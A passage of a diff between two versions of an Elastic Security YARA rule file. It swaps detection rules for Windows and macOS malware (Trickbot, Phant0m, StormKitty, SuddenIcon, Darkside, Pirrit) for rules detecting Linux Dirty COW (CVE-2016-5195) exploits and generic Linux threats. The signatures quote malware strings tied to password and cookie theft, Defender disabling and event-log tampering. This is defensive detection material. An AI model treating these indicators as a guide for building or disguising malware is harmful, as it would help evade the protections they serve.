+		$a = { 4D 18 48 8B 55 10 48 8B 75 F0 48 8B 45 F8 48 83 EC 08 41 51 }
 
 	condition:
-		3 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_F8Dac4Bc : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_3B460716 : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Targets rdpscan module used to bruteforce RDP"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "f8dac4bc-2ea1-4733-a260-59f3cae2eba8"
-		date = "2021-03-30"
-		modified = "2021-08-23"
+		id = "3b460716-812e-4884-ab66-e01f2e61996d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L923-L954"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "13d102d546b9384f944f2a520ba32fb5606182bed45a8bba681e4374d7e5e322"
-		logic_hash = "d4536aac0ee402abcb87826e45c892d6f39562bc1e39b72ae8880dc077f230d9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8c4d49d4881ebdab1bd0e083d4e644cfc8eb7af3b96664598526ab3d175fc420"
+		logic_hash = "759e08c9e3405d841aa467c3343cfac01fed9e9d86aca90139d0eae8855942e5"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "256daf823f6296ae02103336817dec565129a11f37445b791b2f8e3163f0c17f"
-		threat_name = "Windows.Trojan.Trickbot"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "900e22d1a157677698a47d49d2deeb52c938e3a790aba689b920ba1bbd7ed39d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "rdpscan.dll" ascii fullword
-		$a2 = "F:\\rdpscan\\Bin\\Release_nologs\\"
-		$a3 = "Cookie: %s %s" wide fullword
-		$a4 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"srv\" file=\"srv\" period=\"60\"/></autoconf><"
-		$a5 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"srv\" file=\"srv\" period=\"60\"/></autoconf><"
-		$a6 = "X^Failed to create a list of contr" ascii fullword
-		$a7 = "rdp/domains" wide fullword
-		$a8 = "Your product name" wide fullword
-		$a9 = "rdp/over" wide fullword
-		$a10 = "rdp/freq" wide fullword
-		$a11 = "rdp/names" wide fullword
-		$a12 = "rdp/dict" wide fullword
-		$a13 = "rdp/mode" wide fullword
+		$a = { 55 48 89 E5 48 83 EC 30 48 89 7D D8 48 8B 45 D8 48 89 45 E8 BE 02 00 }
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_9C0Fa8Fe : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_Ccfd7518 : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "9c0fa8fe-8d5f-4581-87a0-92a4ed1b32b3"
-		date = "2021-07-13"
-		modified = "2021-08-23"
+		id = "ccfd7518-af6c-4378-bd9c-7267a7f0dab4"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L956-L974"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f528c3ea7138df7c661d88fafe56d118b6ee1d639868212378232ca09dc9bfad"
-		logic_hash = "23aebc3139c34ecd609db7920fa0d5e194173409e1862555e4c468dad6c46299"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L161-L179"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b1017db71cf195aa565c57fed91ff1cdfcce344dc76526256d5817018f1351bf"
+		logic_hash = "02720152af167f1a7e5707f97aa920c6d955458df58d8ef0d9eba868da6a16af"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "bd49ed2ee65ff0cfa95efc9887ed24de3882c5b5740d0efc6b9690454ca3f5dc"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "4797064d6416f2799691ae7df956d0383dfe6094de29fb03fc8233ad89149942"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 74 19 48 85 FF 74 60 8B 46 08 39 47 08 76 6A 33 ED B1 01 B0 01 }
+		$a = { 83 45 FC 01 81 7D FC FF E0 F5 05 7F 0A 8B 05 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Phant0M_2D6F9B57 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_D41C2C63 : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Detects Windows Hacktool Phant0M (Windows.Hacktool.Phant0m)"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "2d6f9b57-bde0-4570-8e38-187dbf05e6d3"
-		date = "2024-02-28"
-		modified = "2024-03-21"
+		id = "d41c2c63-1af7-47c9-88a0-16454c9583db"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Phant0m.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "30978aadd7d7bc86e735facb5046942792ad1beab6919754e6765e0ccbcf89d6"
-		logic_hash = "a66f8779f77b216f7831617a34c008e4202f36e74f2866c9792cee34b804408d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L181-L199"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a4e5751b4e8fa2e9b70e1e234f435a03290c414f9547dc7709ce2ee4263a35f1"
+		logic_hash = "c9460cfc2b6d686145be9afd3ed670619f04c7155b03caa193222cba8405160d"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d4a92775e76bbb00e677a289942f9b3f8101a1dc2f55b30cfa32e4c7feae6c8a"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "77fb7e9911d1037bba0a718d8983a42ad1877c13d865ce415351d599064ea7ea"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$api = "NtQueryInformationThread"
-		$s1 = "Suspending EventLog thread %d with start address %p"
-		$s2 = "Found the EventLog Module (wevtsvc.dll) at %p"
-		$s3 = "Event Log service PID detected as %d."
-		$s4 = "Thread %d is detected and successfully killed."
-		$s5 = "Windows EventLog module %S at %p"
+		$a = { F4 83 45 F0 01 81 7D F0 FF C1 EB 0B 7E D3 C9 C3 }
 
 	condition:
-		$api and 2 of ($s*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Stormkitty_6256031A : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_Ffa7F059 : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Detects Windows Trojan Stormkitty (Windows.Trojan.StormKitty)"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "6256031a-e7dd-423b-a83f-4db428cb3d1b"
-		date = "2022-03-21"
-		modified = "2022-04-12"
+		id = "ffa7f059-b825-4dd6-b10d-e57549a2704f"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_StormKitty.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0c69015f534d1da3770dbc14183474a643c4332de6a599278832abd2b15ba027"
-		logic_hash = "a797e87eaf5b173da9dd43fcff03b3d26198dcafa29c3f2ca369773c73001234"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L201-L219"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a073c6be047ea7b4500b1ffdc8bdadd9a06f9efccd38c88e0fc976b97b2b2df5"
+		logic_hash = "b558066b80232ceb32c625f49a0ddeccd4b3bc52e664e5a72f2aa7361bcec352"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "6f0463de42c97701b0f3b8172e7e461501357921a3d11e6ca467bd1ca397d0b6"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "c451689042d9290d1bb5b931e002237584217bbddfc0d96c2486a61cb5c37d31"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "https://github.com/LimerBoy/StormKitty" ascii fullword
-		$a2 = "127.0.0.1 www.malwarebytes.com" wide fullword
-		$a3 = "KillDefender"
-		$a4 = "Username: {1}" wide fullword
-		$a5 = "# End of Cookies" wide fullword
-		$a6 = "# End of Passwords" wide fullword
+		$a = { F8 83 45 FC 01 81 7D FC FF C1 EB 0B 7E D7 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Virus_Pirrit_271B8Ed0 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_Fb24C7E4 : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Detects Macos Virus Pirrit (MacOS.Virus.Pirrit)"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "271b8ed0-937a-4be6-aecb-62535b5aeda7"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "fb24c7e4-db4f-405e-8e88-bc313b9a0358"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Virus_Pirrit.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7feda05d41b09c06a08c167c7f4dde597ac775c54bf0d74a82aa533644035177"
-		logic_hash = "cb77f6df1403afbc7f45d30551559b6de7eb1c3434778b46d31754da0a1b1f10"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L221-L239"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a073c6be047ea7b4500b1ffdc8bdadd9a06f9efccd38c88e0fc976b97b2b2df5"
+		logic_hash = "17a2a628f2d1fa088a1e0c5b2ad3f08e24b8504033b328c944b9ae83a5d12fcc"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "12b09b2e3a43905db2cfe96d0fd0e735cfc7784ee7b03586c5d437d7c6a1b422"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "0a5f15ddb425a6e00f6c3964b4dbdc91a856fd06b6e45dfd4fded8ed97f21ae8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 35 4A 6A 00 00 32 80 35 44 6A 00 00 75 80 35 3E 6A 00 00 1F 80 35 38 6A 00 00 }
+		$a = { F8 83 45 FC 01 81 7D FC FF C1 EB 0B 7E ?? 8B 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Suddenicon_99487621 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_B45098Df : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Detects Windows Trojan Suddenicon (Windows.Trojan.SuddenIcon)"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "99487621-88c4-40f6-918a-f1276cc2d2a7"
-		date = "2023-03-29"
-		modified = "2023-03-30"
-		reference = "https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SuddenIcon.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
-		logic_hash = "9a441c47e8b95d8aaec6f495d6ddfec2ed6b0762637ea48e64c9ea01b0945019"
+		id = "b45098df-7f26-44a9-8078-f1c05d15cc38"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L241-L259"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e053aca86570b3781b3e08daab51382712270d2a375257c8b5789d3d87149314"
+		logic_hash = "4622551b73a12c5399df1f4e052ce32b4cee04486a870bc92942c8597dcad1f7"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b16f7de530ed27c42bffec4bcfc1232bad34cdaf4e7a9803fce0564e12701ef1"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "ed32e66f2c18b16a6f00d6a696a32cdb1b0b18413b4c1af059097f5d301ee084"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "https://raw.githubusercontent.com/IconStorages/images/main/icon%d.ico" wide fullword
-		$str2 = "__tutma" ascii fullword
-		$str3 = "__tutmc" ascii fullword
-		$str4 = "%s: %s" ascii fullword
-		$str5 = "%s=%s" ascii fullword
-		$seq_obf = { C1 E1 ?? 33 C1 45 8B CA 8B C8 C1 E9 ?? 33 C1 81 C2 ?? ?? ?? ?? 8B C8 C1 E1 ?? 33 C1 41 8B C8 }
-		$seq_virtualprotect = { FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF D5 48 85 C0 74 ?? 81 7B ?? CA 7D 0F 00 75 ?? 48 8D 54 24 ?? 48 8D 4C 24 ?? FF D0 8B F8 44 8B 44 24 ?? 4C 8D 4C 24 ?? BA 00 10 00 00 48 8B CD FF 15 ?? ?? ?? ?? }
+		$a = { FC 83 45 F8 01 81 7D F8 FF C1 EB 0B 7E D7 }
 
 	condition:
-		5 of ($str*) or 2 of ($seq*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Suddenicon_8B07C275 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_9C67A994 : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Detects Windows Trojan Suddenicon (Windows.Trojan.SuddenIcon)"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "8b07c275-f389-4e55-bcec-4b1344cad33d"
-		date = "2023-03-29"
-		modified = "2023-03-30"
-		reference = "https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SuddenIcon.yar#L28-L48"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
-		logic_hash = "64e8bd8929c9fb8cae16f772e3266b02b4ddec770ff8d5379a93a483eb8ff660"
+		id = "9c67a994-dabf-4cb7-95d7-4cc47402be28"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L261-L279"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "70429d67402a43ed801e295b1ae1757e4fccd5d786c09ee054591ae51dfc1b25"
+		logic_hash = "742ce59fadefe242ca97d8ce603976fa8b5e1ba55ede38434c04dcd6f4891712"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "482f1e668ab63be44a249274e0eaa167e1418c42a8f0e9e85b26e4e23ff57a0d"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "fc6690eef99dd9f84f62444d7a7e1b52dc7f46e831a5ab3e87d4282bba979fde"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = { 33 C9 E8 ?? ?? ?? ?? 48 8B D8 E8 ?? ?? ?? ?? 44 8B C0 B8 ?? ?? ?? ?? 41 F7 E8 8D 83 ?? ?? ?? ?? C1 FA ?? 8B CA C1 E9 ?? 03 D1 69 CA ?? ?? ?? ?? 48 8D 55 ?? 44 2B C1 48 8D 4C 24 ?? 41 03 C0 }
-		$str2 = { B8 ?? ?? ?? ?? 41 BA ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 44 8B 06 8B DD BF ?? ?? ?? ?? }
+		$a = { FC 83 45 F8 01 81 7D F8 FF C1 EB 0B 7E ?? 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Suddenicon_Ac021Ae0 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_Ab87C1Ed : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Detects Windows Trojan Suddenicon (Windows.Trojan.SuddenIcon)"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "ac021ae0-67c6-45cf-a467-eb3c2b84b3e4"
-		date = "2023-03-30"
-		modified = "2023-03-30"
-		reference = "https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SuddenIcon.yar#L50-L76"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "033eabdd8ce8ecc4e1a657161c1f298c7dfe536ee2dbf9375cfda894638a7bee"
+		id = "ab87c1ed-f538-4785-b7ae-5333a7ff2808"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L281-L299"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c13c32d3a14cbc9c2580b1c76625cce8d48c5ae683230149a3f41640655e7f28"
+		logic_hash = "737f5ff982d2b656918ad3258ca20bce2ec416f2af743335b9a87a86f78be810"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "115d4fc78bae7b5189a94b82ffd6547dfe89cfb66bf59d0e1d77c10fb937d2f7"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "3bf2be85120ef3711dd3508bf8fcd573a70c7ad4a5066be1b60d777a53cd37b6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "%s\\%s\\%s\\%s" wide fullword
-		$str2 = "%s.old" wide fullword
-		$str3 = "\n******************************** %s ******************************\n\n" wide fullword
-		$str4 = "HostName: %s\\r\\nDomainName: %s\\r\\nOsVersion: %d.%d.%d\\r\\n\\r\\n" wide fullword
-		$str5 = "%s\\r\\nDomainName: %s\\r\\nOsVersion: %d.%d.%d\\r\\n\\r\\n" wide fullword
-		$str6 = "AppData\\Local\\Google\\Chrome\\User Data" wide fullword
-		$str7 = "SELECT url, title FROM urls ORDER BY id DESC LIMIT 500" wide fullword
-		$str8 = "SELECT url, title FROM moz_places ORDER BY id DESC LIMIT 500" wide fullword
-		$b1 = "\\3CXDesktopApp\\config.json" wide fullword
+		$a = { FF FF 88 45 EF 80 7D EF FF 75 D6 B8 ?? ?? 04 08 }
 
 	condition:
-		6 of ($str*) or 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Darkside_D7Fc4594 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_F1C0482A : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Detects Windows Ransomware Darkside (Windows.Ransomware.Darkside)"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "d7fc4594-185c-4afb-986e-5718c0beabf1"
-		date = "2021-05-20"
-		modified = "2021-10-04"
+		id = "f1c0482a-fe88-4777-8d49-aa782bf25a98"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Darkside.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bfb31c96f9e6285f5bb60433f2e45898b8a7183a2591157dc1d766be16c29893"
-		logic_hash = "0083fb64955973e7dbbb35d08cb780fa0b4ff4d064c102dc8f86e29af8358bad"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L301-L319"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a12a1e8253ee1244b018fd3bdcb6b7729dfe16e06aed470f6b08344a110a4061"
+		logic_hash = "084ba60d8464ef5bf3a3aa942bb88caf447c6cee3ebf023157bd261226057663"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "90444cd2d3a38296b4979f91345a9999b0032f6c0abee6ff7c15d149b59e5e88"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "96d1ed843aeb59dd43dd76f4edd9e9928dd29f86df87b70d875473b9d908e75c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 5F 30 55 56 BD 0A 00 00 00 8B 07 8B 5F 10 8B 4F 20 8B 57 30 }
+		$a = { FF FF 88 45 F7 80 7D F7 FF 75 D6 B8 ?? ?? 04 08 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Darkside_Aceac5D9 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_A658B75F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Darkside (Windows.Ransomware.Darkside)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "aceac5d9-fb38-4dca-ab1f-44ee40005d37"
-		date = "2021-05-20"
-		modified = "2021-10-04"
+		id = "a658b75f-3520-4ec6-b3d4-674bc22380b3"
+		date = "2024-01-17"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Darkside.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bfb31c96f9e6285f5bb60433f2e45898b8a7183a2591157dc1d766be16c29893"
-		logic_hash = "888ab06b55b07879ee6b9a45c04f1a09c570aeb4be55c698300566d57fd47252"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "df430ab9f5084a3e62a6c97c6c6279f2461618f038832305057c51b441c648d9"
+		logic_hash = "1ef7267438b8d15ed770f0784a7d428cbc2680144b0ef179337875d5b4038d08"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "521b0f574b27151ad03fc7693fd692e1a13e81a28e39d04d3f7ea149a0da59b9"
-		severity = 100
+		fingerprint = "112be9d42b300ce4c2e0d50c9e853d3bdab5d030a12d87aa9bae9affc67cd6cd"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 41 54 55 53 48 83 EC 28 48 8B 1F 4C 8B 66 08 48 8D 7C 24 10 4C }
+		$a1 = { 6D 61 69 6E 2E 45 6E 63 72 79 70 74 46 69 6C 65 52 65 61 64 57 72 69 74 65 }
+		$a2 = { 6D 61 69 6E 2E 53 63 61 6E 57 61 6C 6B 65 72 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Generic_A829D361 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_Ea5Ade9A : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Generic (MacOS.Trojan.Generic)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "a829d361-ac57-4615-b8e9-16089c44d7af"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "ea5ade9a-101e-49df-b0e8-45a04320950b"
+		date = "2024-01-17"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Generic.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b2a1cd801ae68a890b40dbd1601cdfeb5085574637ae8658417d0975be8acb5"
-		logic_hash = "70a954e8b44b1ce46f5ce0ebcf43b46e1292f0b8cdb46aa67f980d3c9b0a6f61"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L22-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d75189d883b739d9fe558637b1fab7f41e414937a8bae7a9d58347c223a1fcaa"
+		logic_hash = "12a9b5e54d6d528ecb559b6e2ea3aa72effa7f0efbf2c33581a4efedc292e4c1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5dba43dbc5f4d5ee295e65d66dd4e7adbdb7953232faf630b602e6d093f69584"
-		severity = 100
